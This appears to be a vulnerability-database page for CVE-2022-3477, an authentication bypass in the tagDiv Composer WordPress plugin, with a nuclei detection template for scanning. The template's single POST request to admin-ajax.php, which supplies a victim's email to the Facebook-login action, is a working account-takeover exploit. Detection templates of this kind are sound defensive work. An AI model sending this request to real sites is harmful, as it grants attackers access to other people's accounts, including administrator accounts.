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CVE-2022-3477· newsmag project / newsmag· CWE-287

WordPress tagDiv Composer < 3.5 - Authentication Bypass

criticalseverity
9.8CVSS score
5.1%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

The tagDiv Composer WordPress plugin before 3.5, required by the Newspaper WordPress theme before 12.1 and Newsmag WordPress theme before 5.2.2, does not properly implement the Facebook login feature, allowing unauthenticated attackers to login as any user by just knowing their email address

Impact

Unauthenticated attackers who know a user's email address can bypass authentication through the Facebook login feature to gain complete access to any user account including administrator accounts on WordPress sites using tagDiv Composer.

Fix

Fixed in 3.5

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: contains "\"success\":\"You have been successfully logged in!" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-3477 -u <target>

The full check
id: CVE-2022-3477

info:
  name: WordPress tagDiv Composer < 3.5 - Authentication Bypass
  author: melmathari
  severity: critical
  description: |
    The tagDiv Composer WordPress plugin before 3.5, required by the Newspaper WordPress theme before 12.1 and Newsmag WordPress theme before 5.2.2, does not properly implement the Facebook login feature, allowing unauthenticated attackers to login as any user by just knowing their email address
  impact: |
    Unauthenticated attackers who know a user's email address can bypass authentication through the Facebook login feature to gain complete access to any user account including administrator accounts on WordPress sites using tagDiv Composer.
  remediation: Fixed in 3.5
  reference:
    - https://wpscan.com/vulnerability/993a95d2-6fce-48de-ae17-06ce2db829ef
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3477
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-3477
    cwe-id: CWE-287
    epss-score: 0.03985
    epss-percentile: 0.90588
    cpe: cpe:2.3:a:newsmag_project:newsmag:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: newsmag_project
    product: newsmag
    framework: wordpress
  tags: cve,cve2022,wordpress,wp-plugin,wpscan,wp,auth-bypass,tagdiv,vkev,vuln

variables:
  email: "{{email}}"  # victim's email address required.

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=td_ajax_fb_login_user&user[email]={{email}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":"You have been successfully logged in!'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from